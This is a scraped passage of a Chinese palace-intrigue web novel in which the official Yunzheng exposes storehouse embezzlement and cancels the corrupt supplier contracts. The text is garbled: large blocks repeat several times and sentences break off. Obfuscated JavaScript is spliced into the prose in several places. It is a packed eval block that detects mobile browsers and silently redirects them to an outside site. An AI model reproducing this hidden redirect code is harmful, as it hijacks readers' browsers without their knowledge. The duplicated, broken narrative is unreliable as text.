他打的不痛不痒,安康根本没受伤,奇怪的反问,“她对我那么好,我当然喜欢她了,您是嫉妒吗?” 鬼医翻了个白眼,“臭小子,又想挨揍了,是吧?” 这孩子好像太过活泼了,明明以前不是这样的。 安康眼睛闪闪发亮,“姐姐太强了,您知道吗?她只要看过一遍的书,就能倒背如流。” 鬼医冷哼一声,慕强?“背书而已,我也行的。” 医书晦涩难懂,他都能倒背如流。 安康摇了摇头,“不一样。” “哪里不一样。” 安康急得抓耳挠腮,不知该怎么解释,忽然眼睛一亮,哒哒哒的跑进书房,不一会儿就跑了出来,手里多了几本书。 “那您背。” 鬼医翻开看了一眼,立马合上,头疼。 “这是什么书?” 安康笑眯眯的说道,“墨经,是墨子写的,有关于力、力系的平衡和杠杆、斜面等简单机械的论述,记载了关于小孔成象和平面镜、凹面镜、凸面镜成象的观察研究,还有时间和空间的概念。”注(1) 包含了力学、光学、几何学、工程技术知识和现代物理学、数学的基本要素。注(2) 鬼医听的头都大了,什么凹凸镜,什么小孔成象?听不懂。 “背书又不是什么了不起的技能。” 安康笑的贼兮兮的,“那您做这些题吧。” 鬼医怔了怔,这小子没事跟云筝学什么?这使坏的笑容是一模一样。 “这是什么鬼画符?” 安康哈啥事一笑,“九章算术啊。” 鬼医:…… “她都懂?” “对啊。” 鬼医神色木木的,一个小姑娘熟读四书五经已经够离谱了,为什么还要学墨经? “她让你学这个?” 安康神采飞扬,“没有啊,就是我对这个很感兴趣,空暇时看一看,不懂就问她。” 暗夜中,男人站在参天大树下,眼神阴沉的可怕。 “什么?永宁费了那么多心思,都没有把云筝搞死?” 属下瑟瑟发抖,不敢抬头,“是。” 男人气怒攻心,一掌拍在树身上,“废物,枉我派人暗中引导,云筝怎么这么难杀?” 属下小心翼翼的说道,“主子,锦云郡主可能是受天庇护之人,要不,就算了?” 男人面如沉水,阴恻恻的说道,“运气好而已,但怎么可能一直好?” “害我百年侯府毁于一旦,我岂能饶她?” “想办法跟镇南王府的旧人联系上,让他们动起来。” “是。” “云筝,你非死不可!” 啊。” 云筝看着他们祖孙笑闹,忍俊不禁。 安家祖孙单独住一个院子,二进的,前面住人,后面是制药室和药材库。 鬼医将孙子拎回住所,揍了两下,忍不住问道,“你为什么这么喜欢她?就因为她救过你?” 他打的不痛不痒,安康根本没受伤,奇怪的反问,“她对我那么好,我当然喜欢她了,您是嫉妒吗?” 鬼医翻了个白眼,“臭小子,又想挨揍了,是吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053192|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这孩子好像太过活泼了,明明以前不是这样的。 安康眼睛闪闪发亮,“姐姐太强了,您知道吗?她只要看过一遍的书,就能倒背如流。” 鬼医冷哼一声,慕强?“背书而已,我也行的。” 医书晦涩难懂,他都能倒背如流。 安康摇了摇头,“不一样。” “哪里不一样。” 安康急得抓耳挠腮,不知该怎么解释,忽然眼睛一亮,哒哒哒的跑进书房,不一会儿就跑了出来,手里多了几本书。 “那您背。” 鬼医翻开看了一眼,立马合上,头疼。 “这是什么书?” 安康笑眯眯的说道,“墨经,是墨子写的,有关于力、力系的平衡和杠杆、斜面等简单机械的论述,记载了关于小孔成象和平面镜、凹面镜、凸面镜成象的观察研究,还有时间和空间的概念。”注(1) 包含了力学、光学、几何学、工程技术知识和现代物理学、数学的基本要素。注(2) 鬼医听的头都大了,什么凹凸镜,什么小孔成象?听不懂。 “背书又不是什么了不起的技能。” 安康笑的贼兮兮的,“那您做这些题吧。” 鬼医怔了怔,这小子没事跟云筝学什么?这使坏的笑容是一模一样。 “这是什么鬼画符?” 安康哈啥事一笑,“九章算术啊。” 鬼医:…… “她都懂?” “对啊。” 鬼医神色木木的,一个小姑娘熟读四书五经已经够离谱了,为什么还要学墨经? “她让你学这个?” 安康神采飞扬,“没有啊,就是我对这个很感兴趣,空暇时看一看,不懂就问她。” 暗夜中,男人站在参天大树下,眼神阴沉的可怕。 “什么?永宁费了那么多心思,都没有把云筝搞死?” 属下瑟瑟发抖,不敢抬头,“是。” 男人气怒攻心,一掌拍在树身上,“废物,枉我派人暗中引导,云筝怎么这么难杀?” 属下小心翼翼的说道,“主子,锦云郡主可能是受天庇护之人,要不,就算了?” 男人面如沉水,阴恻恻的说道,“运气好而已,但怎么可能一直好?” “害我百年侯府毁于一旦,我岂能饶她?” “想办法跟镇南王府的旧人联系上,让他们动起来。” “是。” “云筝,你非死不可!” 啊。” 云筝看着他们祖孙笑闹,忍俊不禁。 安家祖孙单独住一个院子,二进的,前面住人,后面是制药室和药材库。 鬼医将孙子拎回住所,揍了两下,忍不住问道,“你为什么这么喜欢她?就因为她救过你?” 他打的不痛不痒,安康根本没受伤,奇怪的反问,“她对我那么好,我当然喜欢她了,您是嫉妒吗?” 鬼医翻了个白眼,“臭小子,又想挨揍了,是吧?” 这孩子好像太过活泼了,明明以前不是这样的。 安康眼睛闪闪发亮,“姐姐太强了,您知道吗?她只要看过一遍的书,就能倒背如流。” 鬼医冷哼一声,慕强?“背书而已,我也行的。” 医书晦涩难懂,他都能倒背如流。 安康摇了摇头,“不一样。” “哪里不一样。” 安康急得抓耳挠腮,不知该怎么解释,忽然眼睛一亮,哒哒哒的跑进书房,不一会儿就跑了出来,手里多了几本书。 “那您背。” 鬼医翻开看了一眼,立马合上,头疼。 “这是什么书?” 安康笑眯眯的说道,“墨经,是墨子写的,有关于力、力系的平衡和杠杆、斜面等简单机械的论述,记载了关于小孔成象和平面镜、凹面镜、凸面镜成象的观察研究,还有时间和空间的概念。”注(1) 包含了力学、光学、几何学、工程技术知识和现代物理学、数学的基本要素。注(2) 鬼医听的头都大了,什么凹凸镜,什么小孔成象?听不懂。 “背书又不是什么了不起的技能。” 安康笑的贼兮兮的,“那您做这些题吧。” 鬼医怔了怔,这小子没事跟云筝学什么?这使坏的笑容是一模一样。 “这是什么鬼画符?” 安康哈啥事一笑,“九章算术啊。” 鬼医:…… “她都懂?” “对啊。” 鬼医神色木木的,一个小姑娘熟读四书五经已经够离谱了,为什么还要学墨经? “她让你学这个?” 安康神采飞扬,“没有啊,就是我对这个很感兴趣,空暇时看一看,不懂就问她。” 暗夜中,男人站在参天大树下,眼神阴沉的可怕。 “什么?永宁费了那么多心思,都没有把云筝搞死?” 属下瑟瑟发抖,不敢抬头,“是。” 男人气怒攻心,一掌拍在树身上,“废物,枉我派人暗中引导,云筝怎么这么难杀?” 属下小心翼翼的说道,“主子,锦云郡主可能是受天庇护之人,要不,就算了?” 男人面如沉水,阴恻恻的说道,“运气好而已,但怎么可能一直好?” “害我百年侯府毁于一旦,我岂能饶她?” “想办法跟镇南王府的旧人联系上,让他们动起来。” “是。” “云筝,你非死不可!” 啊。” 云筝看着他们祖孙笑闹,忍俊不禁。 安家祖孙单独住一个院子,二进的,前面住人,后面是制药室和药材库。 鬼医将孙子拎回住所,揍了两下,忍不住问道,“你为什么这么喜欢她?就因为她救过你?” 他打的不痛不痒,安康根本没受伤,奇怪的反问,“她对我那么好,我当然喜欢她了,您是嫉妒吗?” 鬼医翻了个白眼,“臭小子,又想挨揍了,是吧?” 这孩子好像太过活泼了,明明以前不是这样的。 安康眼睛闪闪发亮,“姐姐太强了,您知道吗?她只要看过一遍的书,就能倒背如流。” 鬼医冷哼一声,慕强?“背书而已,我也行的。” 医书晦涩难懂,他都能倒背如流。 安康摇了摇头,“不一样。” “哪里不一样。” 安康急得抓耳挠腮,不知该怎么解释,忽然眼睛一亮,哒哒哒的跑进书房,不一会儿就跑了出来,手里多了几本书。 “那您背。” 鬼医翻开看了一眼,立马合上,头疼。 “这是什么书?” 安康笑眯眯的说道,“墨经,是墨子写的,有关于力、力系的平衡和杠杆、斜面等简单机械的论述,记载了关于小孔成象和平面镜、凹面镜、凸面镜成象的观察研究,还有时间和空间的概念。”注(1) 包含了力学、光学、几何学、工程技术知识和现代物理学、数学的基本要素。注(2) 鬼医听的头都大了,什么凹凸镜,什么小孔成象?听不懂。 “背书又不是什么了不起的技能。” 安康笑的贼兮兮的,“那您做这些题吧。” 鬼医怔了怔,这小子没事跟云筝学什么?这使坏的笑容是一模一样。 “这是什么鬼画符?” 安康哈啥事一笑,“九章算术啊。” 鬼医:…… “她都懂?” “对啊。” 鬼医神色木木的,一个小姑娘熟读四书五经已经够离谱了,为什么还要学墨经? “她让你学这个?” 安康神采飞扬,“没有啊,就是我对这个很感兴趣,空暇时看一看,不懂就问她。” 暗夜中,男人站在参天大树下,眼神阴沉的可怕。 “什么?永宁费了那么多心思,都没有把云筝搞死?” 属下瑟瑟发抖,不敢抬头,“是。” 男人气怒攻心,一掌拍在树身上,“废物,枉我派人暗中引导,云筝怎么这么难杀?” 属下小心翼翼的说道,“主子,锦云郡主可能是受天庇护之人,要不,就算了?” 男人面如沉水,阴恻恻的说道,“运气好而已,但怎么可能一直好?” “害我百年侯府毁于一旦,我岂能饶她?” “想办法跟镇南王府的旧人联系上,让他们动起来。” “是。” “云筝,你非死不可!” 第198章 想拿捏她?下辈子吧 内务府,云筝将广储司上上下下梳理了一遍,好不容易坐下来喘口气。 孙永信抱着一叠账本过来找她,“大人,我这几日盘账,账和货物对不上,问题很严重。 云筝接过账本翻了翻,“六库都对不上?走,我们去看看。 问题岂止是严重,六库的库房都少了很多东西,亏空的厉害。 云筝站在银库面前,面露沉思之色。 按内务府的规矩,年年要盘账的,这么多亏空可不是一年半载造成的。 孙永信面色凝重,“大人,银库也出了问题,少了三万二千两银子,我们被摆了一道,怎么办? 他挺后悔的,当时就应该交接清楚,不留后患。 云筝神色却很平静,好像早就预料到了,“去,请张总管过来。 一盏茶后,张总管慢悠悠的过来了,“小云大人,有何要事? 他语气凉凉的,有些不耐烦。 云筝没有心情跟他兜圈子,直接了当的问道,“张总管,账本跟实际库存相差颇大,这事你可知晓? 张总管嘴角轻轻上扬,“你接任时,没有跟前任交接清楚?过去了这么久,都说不清楚了。 他幸灾乐祸的说道,“你啊,做生意是厉害,但当官不行啊,连最基本的交接流程都不懂。 云筝挑了挑眉,似笑非笑,“就是说,内务府出了蛀虫,您一无所知?我忍不住要怀疑您执掌内务府的能力。 “要不,您退仕吧,我来接任。 张总管气笑了,没见过这么明目张胆抢班夺朝的。 “你还是好好收拾这烂摊子吧,要是传出去,皇上要怀疑你的能力,满朝文武都要**你。 “不过,你放心,看在我们同朝为官的份上,我会帮你保守秘密的,只要给钱就行。 他就是故意不提醒她,只等着她跳坑,用来拿捏她。 云筝冷冷看了他一眼,想拿捏她?下辈子吧。 她忽然扬声道,“去明镜司报案,就说,广储司出了偷银贼,偷了皇上几十万两,让他们过来查案。 “是。 手下匆匆转身离开,却被张总管叫住了,“不许去,小云大人,事情若闹大了,对你对我都没有好处。 云筝不吃这一套“我是初来乍到又有钱爆出亏空的丑闻世人只会认为是内务府出了内贼跟我无关。” 明眼人都知道跟她没有关系。 “而你内务府的总管到底是能力不足被瞒在鼓里?还是…里应外合是内贼?” 这两者都要命张总管头都快炸开了“你别胡说。” 他冷冷的提醒道“云筝你考虑清楚这会得罪很多人的内务府的复杂不是你能想像的。” 云筝得罪的人多着呢再多几个又算什么? “什么?你让我视若不见?那亏空怎么办?” 张总管理所当然的说道“你动不动就拿十万两银子出来作小金库自己填上不就完了吗?” 语气还挺酸的有钱人真讨厌。 她动不动就砸钱害的其他部门心思浮动很难管。 云筝气笑了“我填上?可以啊只要你在自首书上签字承认自己是内贼我就姑且不追究。” 自首书?让他认罪偷盗?张总管闻声色变“胡闹荒唐。” “小云大人你知不知道自己在说什么吗?” 云筝反唇相讥“张总管那你知道自己在说什么吗?” 张总管眉头紧皱“你又不差钱何必这么较真?” 云筝挺无语她有钱是她的事凭什么为内务府填坑? “哦我的钱只给皇上和家人花别人不配你有本事去找皇上哭诉啊我倒要看看皇上会不会帮你欺负我。” 她只差指着他的鼻子骂他不配! 张总管:…… 可恶!就你会花言巧语哄皇上?就你会骂人? 想想都知道皇上只会高兴只会支持云筝。 “你有没有想过内务府背后有多少人的利益纠葛?” 云筝大声喝道“身为臣子只需要维护皇上的利益张总管你瞻前顾后眼里还有皇上吗?” “皇上一力提拔你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058547|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你一介奶娘之子坐到这个高位你却辜负皇恩我看不起你!” 张总管败下阵来完全说不过啊。 云筝眼珠一转“对了我写封请罪书 张总管闭了闭眼她 想一出是一出的,这会儿又自曝,亲手引炸这颗雷。 只是,这后果……很可怕。 宫中,皇上忙了半天,稍微休息片刻,正准备用膳。 太监禀道,“皇上,锦云郡主的信。” 信已经拆开,检查过了。 皇上一眼就瞟到,“请罪书?” 说是请罪书,其实是陈述内务府的管理混乱,关系复杂,问题多多,他的钱被下面掏空了。 太监眼神微闪,“锦云郡主那么聪明的人,怎么会犯这么低级的错误?做好交接,这不是常识吗?” 皇上淡淡的道,“她故意的。” 太监愣了一下,“啥?” 皇上淡笑不语,她是将广储司彻底拢到自己手里,稳定了人心和局面,这才揭开盖子。 否则,在当初兵荒马乱时揭盖子,人心惶惶,局面会彻底失控。 他下令道,“让明镜司配合锦云郡主彻查,不管查到谁,都不必顾及脸面。” 内务府关系网盘根错节,有些是连同儿子、侄子、女婿全都在内务府任职,全家齐上阵。 然后,跟内务府的同僚结亲,通过联姻,交织出一张巨大的利益关系网,外人进不去。 而且,这跟前朝后宫都有着千丝万缕的关系。 “是。” 他沉默了半晌,忽然问道,“有睿亲王的消息吗?” 太监回道,“还没有。” 皇上微微蹙眉,轻轻喟叹,“去了这么久,怎么还……” 他顿了顿,“先瞒着太后那边。” 太监头都不敢抬,“是。” 内务府,明镜司的办事效率极高,很快就将前广储司的主官郑大人和他的一众亲信抓了起来。 严刑逼供之下,就有了结果,只是,这结果出乎意料…… 第199章 听说,镇南王死遁? 这些年他们串通一气,偷偷挪用了**,****,数额巨大。 皇上下令,抄家,家产全部充公。 明镜司抄家时发现,这些官员的家底不是一般的厚,明面上勤俭清贫,其实都是巨贪。 皇上看到抄出来的东西,不禁气笑了,大内的珠宝首饰,进贡的奇珍异宝随处可见。 很多珍宝是皇宫一件,他们一件。 有些破损而处理掉的的宫中之物,都完好无损的出现在他们家里。 “一帮蠹虫,其行可诛!” 但,更让他头疼的是,张总管和宫中嫔妃都卷进去了。 他们不贪,但他们的家人都拿了这些人上贡的银子,换取他们的沉默和庇护。 “这事就到此为止吧。” 没办法继续追究了。 云筝听到旨意,也没有追着不放,反正她的目地达到了,别让她填坑就行。 至于,之前亏空皇上都不心疼,她这个外人更不在乎了。 她只担心一件事,“谷雨,你家九千岁怎么还没有回京?不会有危险吧。” 谷雨心中没底,但没有流露出来,“没有消息,就是好消息。” 云筝眉头紧皱,“到底是什么要紧的事,需要他亲自出京处理?” 谷雨迟疑了一下,按理不能说,但,身为九千岁的亲信,他对主子和郡主的关系也有所察觉。 “这……最近将原镇南王府的几个据点都挑了,抓了不少人。我们从中发现,当年镇南王可能是死遁,皇上让九千岁亲自去查。” 如果是假的,那也得把那一股神秘势力连根拔起。 如果是真的,那就要将人抓回来。 “叶宜蓁对那股势力知道的不多,所以,那些人到底听令于谁?” 这是一个好问题,云筝思前想后,百思不得其解。 “镇南王府权势滔天,独霸一方,他有什么理由死遁?那可是几代人创下的基业。” 谷雨也不理解,“想来,有不得不死遁的理由。” 他拿出一个锦盒,递了过去,“小云大人,这是王爷之前吩咐送过来的。” 云筝打开一看,是一套?和田玉的印章,玉质洁白莹润。 她拿 起其中一枚,刻着锦云两字,字体布局匀称,字体优美大气。 只是,这字很眼熟。 “这是他刻的?” 谷雨笑眯眯的点头,“是,九千岁亲手雕刻而成,说是送您的礼物。” 等他走了,云筝轻抚着印章,心思全飞走了,想他,很想他。 他还好吗? 外面传来通禀声,“大人,易阳大人和成东大人求见。” 易阳和成东是她主掌云家商号时的得力干将,等她进了内务府当差,就把这两人也调进来当广储司的郎中,也就是她之前的位置。 云筝将印章小心翼翼的收好,“让他们进来。” 两人抱着账本走了进来,行了一礼,“大人,这库存缺了这么多,该补上才对,但,这些账目太夸张了,您看怎么办?” 云筝翻了翻账本,一套瓷器一千,一匹绸缎二千两,御用香料,五万两,林林总总。 她将云家的生意做的那么大,对市面上的交易价格了如指掌,香料,五百两左右,瓷器一百多,绸缎一百左右。 就是说,比市价翻了十倍,甚至是一百倍,这贪的太厉害了。 她扔下账本,淡淡的吩咐下去,“把六库司库叫来。” “是。” 等六库主事者都来了,再加上易阳成东两人,一共八人。 云筝等他们坐定,直接就扔出一颗重磅**,“广储司所有供应商资格,全部取消,十天后在沁园开采买会,重新挑选供应商,凡有意的商号都可以提前报名。” 众人倒抽一口冷气,“全部取消?” 云筝微微颌首,“对,全部取消,一个都不留。” 瓷库司库面色纠结,“可,都是关系户,若是都不用,恐怕会得罪很多人。” 能跟内务府做生意的,背后都有大靠山,比如,皇后的娘家,嫔妃的娘家,阁老的远房亲戚。 云筝可不想受制于这些人,都什么玩意啊,凭什么她要为这些中饱私囊的家伙兜底?她一点好处都没有,不干。 “广储司是我的地盘,之前的事我管不了,但我接手后,就不允许如此胡来。” 大家面面相觑,这是要出大事了,该怎么劝她改变主意呢? “大人,不如留一半,取消一半 ,再找个借口让他们内斗。” “对,这个主意好,不能全部得罪了,拉一派打一派。” 就在大家纷纷劝说她改主意时,云筝甩出一叠资料。 “这些是正常的市场价,这是成本价,我们允许他们打着皇室供应的旗号做生意,所以,要求拿到成本价,前提是品质好。” 大家迟疑了一下,“这恐怕有难度。” “这不现实。” 主要是这价格低的离谱,比之前低了十倍。 没有对比就没有伤害,这让皇上怎么想? 这是要绝其他人的后路,会激起众怒的。 云筝微微一笑,“若事成了,我允许你们拿提成,你们几个拿一半,底下分一半。” 这话一出,全场一静,随后爆发了。 “什么?提成?怎么算?” “大人,我也没有听懂,您仔细说说。” 云筝她早就做好了万全的准备,只等着时机成熟。 “市场价和成本价之间的差价,就是你们的提成。” 看着不多,但架不住东西多啊,林林总总加起来,是一笔不小的钱。 众人立马如打了鸡血般激动万分,“大人放心,这事包在我们身上,保管办的漂漂亮亮,找不出半点纰漏。” 云筝挑了挑眉,“有难度吗?” 众人拍着胸口保证,“没有,我们出马,没有什么办不成的。” 云筝满意的点了点头,恩施并济,只有利益才能长长久久。 “好好干,等理顺了这些,我有一桩大生意要做,到时,看各位的表现,表现好,就能入股。” 上了她的贼船,想下来就难喽。 众人的眼睛刷的亮了,啥?大生意?入股? 必须入股啊,谁不知道他们大人是出了名的财神娘娘,随便折腾一下就有钱了。 啊啊啊,他们要发财了! 感谢老天爷,感谢皇上,感谢财神娘娘,这泼天的富贵终于要轮到他们了! 撸起袖子,干! 而另一边,也疯了! ,再找个借口让他们内斗。” “对,这个主意好,不能全部得罪了,拉一派打一派。” 就在大家纷纷劝说她改主意时,云筝甩出一叠资料。 “这些是正常的市场价,这是成本价,我们允许他们打着皇室供应的旗号做生意,所以,要求拿到成本价,前提是品质好。” 大家迟疑了一下,“这恐怕有难度。” “这不现实。” 主要是这价格低的离谱,比之前低了十倍。 没有对比就没有伤害,这让皇上怎么想? 这是要绝其他人的后路,会激起众怒的。 云筝微微一笑,“若事成了,我允许你们拿提成,你们几个拿一半,底下分一半。” 这话一出,全场一静,随后爆发了。 “什么?提成?怎么算?” “大人,我也没有听懂,您仔细说说。” 云筝她早就做好了万全的准备,只等着时机成熟。 “市场价和成本价之间的差价,就是你们的提成。” 看着不多,但架不住东西多啊,林林总总加起来,是一笔不小的钱。 众人立马如打了鸡血般激动万分,“大人放心,这事包在我们身上,保管办的漂漂亮亮,找不出半点纰漏。” 云筝挑了挑眉,“有难度吗?” 众人拍着胸口保证,“没有,我们出马,没有什么办不成的。” 云筝满意的点了点头,恩施并济,只有利益才能长长久久。 “好好干,等理顺了这些,我有一桩大生意要做,到时,看各位的表现,表现好,就能入股。” 上了她的贼船,想下来就难喽。 众人的眼睛刷的亮了,啥?大生意?入股? 必须入股啊,谁不知道他们大人是出了名的财神娘娘,随便折腾一下就有钱了。 啊啊啊,他们要发财了! 感谢老天爷,感谢皇上,感谢财神娘娘,这泼天的富贵终于要轮到他们了! 撸起袖子,干! 而另一边,也疯了! ,再找个借口让他们内斗。” “对,这个主意好,不能全部得罪了,拉一派打一派。” 就在大家纷纷劝说她改主意时,云筝甩出一叠资料。 “这些是正常的市场价,这是成本价,我们允许他们打着皇室供应的旗号做生意,所以,要求拿到成本价,前提是品质好。” 大家迟疑了一下,“这恐怕有难度。” “这不现实。” 主要是这价格低的离谱,比之前低了十倍。 没有对比就没有伤害,这让皇上怎么想? 这是要绝其他人的后路,会激起众怒的。 云筝微微一笑,“若事成了,我允许你们拿提成,你们几个拿一半,底下分一半。” 这话一出,全场一静,随后爆发了。 “什么?提成?怎么算?” “大人,我也没有听懂,您仔细说说。” 云筝她早就做好了万全的准备,只等着时机成熟。 “市场价和成本价之间的差价,就是你们的提成。” 看着不多,但架不住东西多啊,林林总总加起来,是一笔不小的钱。 众人立马如打了鸡血般激动万分,“大人放心,这事包在我们身上,保管办的漂漂亮亮,找不出半点纰漏。” 云筝挑了挑眉,“有难度吗?” 众人拍着胸口保证,“没有,我们出马,没有什么办不成的。” 云筝满意的点了点头,恩施并济,只有利益才能长长久久。 “好好干,等理顺了这些,我有一桩大生意要做,到时,看各位的表现,表现好,就能入股。” 上了她的贼船,想下来就难喽。 众人的眼睛刷的亮了,啥?大生意?入股? 必须入股啊,谁不知道他们大人是出了名的财神娘娘,随便折腾一下就有钱了。 啊啊啊,他们要发财了! 感谢老天爷,感谢皇上,感谢财神娘娘,这泼天的富贵终于要轮到他们了! 撸起袖子,干! 而另一边,也疯了! ,再找个借口让他们内斗。” “对,这个主意好,不能全部得罪了,拉一派打一派。” 就在大家纷纷劝说她改主意时,云筝甩出一叠资料。 “这些是正常的市场价,这是成本价,我们允许他们打着皇室供应的旗号做生意,所以,要求拿到成本价,前提是品质好。” 大家迟疑了一下,“这恐怕有难度。” “这不现实。” 主要是这价格低的离谱,比之前低了十倍。 没有对比就没有伤害,这让皇上怎么想? 这是要绝其他人的后路,会激起众怒的。 云筝微微一笑,“若事成了,我允许你们拿提成,你们几个拿一半,底下分一半。” 这话一出,全场一静,随后爆发了。 “什么?提成?怎么算?” “大人,我也没有听懂,您仔细说说。” 云筝她早就做好了万全的准备,只等着时机成熟。 “市场价和成本价之间的差价,就是你们的提成。” 看着不多,但架不住东西多啊,林林总总加起来,是一笔不小的钱。 众人立马如打了鸡血般激动万分,“大人放心,这事包在我们身上,保管办的漂漂亮亮,找不出半点纰漏。” 云筝挑了挑眉,“有难度吗?” 众人拍着胸口保证,“没有,我们出马,没有什么办不成的。” 云筝满意的点了点头,恩施并济,只有利益才能长长久久。 “好好干,等理顺了这些,我有一桩大生意要做,到时,看各位的表现,表现好,就能入股。” 上了她的贼船,想下来就难喽。 众人的眼睛刷的亮了,啥?大生意?入股? 必须入股啊,谁不知道他们大人是出了名的财神娘娘,随便折腾一下就有钱了。 啊啊啊,他们要发财了! 感谢老天爷,感谢皇上,感谢财神娘娘,这泼天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人立马如打了鸡血般激动万分,“大人放心,这事包在我们身上,保管办的漂漂亮亮,找不出半点纰漏。” 云筝挑了挑眉,“有难度吗?” 众人拍着胸口保证,“没有,我们出马,没有什么办不成的。” 云筝满意的点了点头,恩施并济,只有利益才能长长久久。 “好好干,等理顺了这些,我有一桩大生意要做,到时,看各位的表现,表现好,就能入股。” 上了她的贼船,想下来就难喽。 众人的眼睛刷的亮了,啥?大生意?入股? 必须入股啊,谁不知道他们大人是出了名的财神娘娘,随便折腾一下就有钱了。 啊啊啊,他们要发财了! 感谢老天爷,感谢皇上,感谢财神娘娘,这泼天的富贵终于要轮到他们了! 撸起袖子,干! 而另一边,也疯了! 第200章 有些人气疯了 广储司所有供应商资格全部取消这消息一出相关人等都疯了是气疯了! 啊啊啊她怎么敢的?他们好不容易争取来的资格她凭什么取消?这是断他们的财路。 她到底有没有调查过他们背后是什么人? 她这是不想混了?! 不行必须联合起来让她改变主意! 实在不行把她拉下马! 锦云郡主府的拜帖堆成小山般每日都要好几筐可把门房忙坏了。 甚至有人就守在大门口只求见云筝一面跟她说上一句话。 但云筝视若无睹不回帖不理会凑上来的人态度鲜明。 供应商们怨声载道一合计纷纷找上自己的靠山。 他们位卑没有资格凑到锦云郡主面前但他们的靠山能在京城横着走。 一时之间**云筝的折子如雪花般飞向皇上的案桌。 云筝依旧我行我素不理会外界的纷纷扰扰。 她的心态绝佳但孙守信的心情就不大好愁眉苦脸。 云筝淡淡瞥了他一眼“还没有来报名的商号?” 孙守信愁的不行“是太奇怪了这么千载难逢的机会居然没人抓住不应该啊。” 他们如今是同坐一条船他的一生荣辱全指望云筝了。 云筝看着手里的资料头也不抬“如果我没有猜错的话那些人发力了不许别的商号报名。” 易阳大步走进来面色恼怒”您猜的没错那些人太可恶了放出风声谁敢前来报名就会排挤出商圈他们会联手打压到时全家性命不保就别怪他们。“ 大家怒了手段真脏“他们做不了还不许别人做这也太霸道了。” 云筝是做生意的见过很多大风大浪 “这一直是他们的风格不择手段什么都敢做你们出入都小心些。” 而她出入都会带上一批侍卫。 “是。” 孙守信急的团团转“眼下怎么办?总不能开天窗吧?” 没人参加采买会传出去多丢人对云筝的威信是极大的打击还会让她接下去的工作寸步难行。 易阳冷笑一声“想让我们求着他们回来做梦。” 云筝胸有成竹微微一笑“慌什么?走我们出去转转逛逛街顺便观察一下商品的交易情况。” 见她如此淡定似乎已经有了对策大家的心大定“是。” 大家都换下官服穿上常服大摇大摆的走在街头。 定街是最繁华的一条街在这里能找到百年老字号?店铺鳞次栉比?商号云集。 每一家商号都是前店后院前面是店铺摆满了商品琳琅满目后院是掌柜招待客人的地方。 云筝一行人还挺显眼的尤其是被簇拥在中间的美丽女子一身襕衫尽显从容之姿。 橙园茶楼三楼的包厢内一个锦衣男子站在窗边看到这一幕目光微凝。 “这女子是谁?” 蓝衣男子凑过来瞄了一眼“锦云郡主云筝你刚进京可能不知道她……” 锦衣男子眼中闪过一丝兴味“我知道原来她就是锦云郡主果然是风华绝代气质如兰既有女子的美丽英气又有男子的卓而不群我还没见过这么特别的女子。” 蓝衣男子看到他眼中的跃跃欲试吓了一大跳“你别乱来她背后站着九千岁和皇上自身也是个狠角色。” 锦衣男子傲然一笑“我就喜欢挑战高难度的。” 蓝衣男子:…… 锦衣男子忽然精神一震“咦她开始发难走走走我们去瞧瞧。” 云筝逛了几家商号买了不少东西身边的人都大包小包。 紫烟轻声说道“主子不少人盯上我们了。” 云筝淡淡扫了一眼全是各大商号的人。 “让他们盯吧我倒要看看他们想干什么。” 走着走着她停下脚步仰头看着牌匾“瑞祥绸缎庄?我记得是专供宫中绸缎的那家?” 易阳微微点头“是这家的老板是贵妃娘娘的远房侄子。” 云筝对各家的情况了如指掌这老板的胃口特别大一匹宫女穿的普通布料市场才几两银子< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063374|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这些年光是靠绸缎就挣了个金山银山。 这全是靠贵妃娘娘才有了今日所以大头是给 贵妃娘娘。 就是说,这是贵妃娘娘的钱袋子。 她站在门口扫了一眼,生意非常好,人头攒动。 “这位客官的眼光真好,挑的这匹布是宫中娘娘的最爱。” “对,贵妃娘娘就喜欢我家的布料,品质有保障。” 小二们三句不离宫中娘娘,恨不得让全天下人都知道,他们有宫中的关系。 云筝的目光落在那匹流光溢彩的布上,眼神微闪,带着人走进去, “这布匹多少钱?” 小二瞥了她一眼,咦,这么美,是哪个权贵的爱宠?女人啊,以色侍人,实在让他不耻。 他这么出色,怎么就没有千金大小姐看上他?没眼光! 